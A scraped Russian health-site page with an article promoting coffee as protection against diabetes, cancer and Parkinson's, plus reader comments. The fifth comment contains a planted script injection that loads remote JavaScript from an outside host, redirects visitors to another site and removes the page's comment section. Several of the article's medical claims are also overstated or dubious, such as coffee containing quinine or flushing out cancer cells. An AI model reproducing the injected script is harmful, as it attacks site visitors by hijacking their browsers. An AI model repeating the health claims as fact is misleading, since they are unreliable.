Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Три повода выпить кофе  >>  Три повода выпить кофе
 
Обратная связь
 

Три повода выпить кофе

Размер шрифта
30 марта 2012 10:00
  • google_analytics: false
  • Нравится

Об этом напитке всегда было много пересудов. Однако наука снова заговорила о пользе кофе, и мы спешим поделиться этими новостями с вами.

1 

Почему стоит пить кофе

  1. Кофе может предупредить развитие сахарного диабета 2 типа. Благодаря результатам новых исследований выяснилось, что среди людей, которые пьют кофе, частота развития этого тяжелого заболевания ниже, чем среди людей, не употребляющих этот напиток.

Этому есть несколько объяснений:

  • Кофе повышает концентрацию белка, связывающего стероидные половые гормоны, который снижает и уровень сахара в крови.
  • Кофе содержит хинин, который понижает инсулинорезистентность организма, т.е. кофе помогает инсулину работать и перемещать глюкозу из крови в клетку, где она перерабатывается в энергию. При этом уровень глюкозы в крови снижается.
  1. Кофе препятствует развитию рака. Очень интересные крупные исследования стали проводиться в последние годы. Было выяснено следующее: если женщина выпивает 4 и более чашек кофе в день, то риск развития рака матки у нее снижается на 25%, а если она выпивает 2-3 чашки, то на 7%. С мужчинами дело обстоит еще интереснее: исследование Гарвардского университета показало, что у мужчин, выпивающих 4 и более чашек кофе в день, вероятность развития рака мочевого пузыря снижалась на 60%.

Такое действие кофе можно объяснить:

  • Хлорагеновая кислота в составе кофе напрямую взаимодействует с раковыми клетками и убивает их. Также это вещество обладает антиоксидантным действием (укрепляет иммунные клетки).
  • Кофе обладает сильным мочегонным действием, т.е. блокирует антидиуретический гормон. Вследствие этого жидкость, которую человек употребляет, не задерживается в организме и выходит из него, вымывая раковые клетки эпителия мочевого пузыря. Доказано также и то, что за счет своего диуретического действия кофе не повышает, а наоборот снижает артериальное давление.
  1. Кофе влияет на синтез нейромедиатора допамина, недостаток которого приводит к болезни Паркинсона. Выпивая 4 чашки кофе, больные с симптомами паркинсонизма улучшают свое состояние. Это было доказано в исследовании, в котором приняло участие 500 000 человек.

Кофе – это не тот напиток, которого стоит опасаться, нужно только соблюдать меру в его количестве и слушать свои ощущения. Пейте кофе и будьте здоровы!



Сюжеты по теме:
Три причины пить кофе. Научные новости о пользе кофе 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

31 марта 2012 в 23:26

Цитировать   |   Пожаловаться

2 - Алёна

02 апреля 2012 в 13:10

Цитировать   |   Пожаловаться

Очень интересная и полезная информация! А я всегда думала, что кофе очень вредный напиток!)))

3 - Гость

05 апреля 2012 в 15:31

Цитировать   |   Пожаловаться

Здравствуйте, Можно ли пить кофе с молоком? Кофе не теряет своё свойство?

Гость 05 апреля 2012 в 15:31
Кофе не теряет своё свойство
 Кофе в присутствии молока не теряет свойства, если главным для  Вас свойством является бодрящее действие кофеина. 
Вкус и действие на слизистую желудка становятся мягче. Но и калорийность напитка увеличивается. 

5 - zzzzzz

30 июня 2015 в 23:46

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.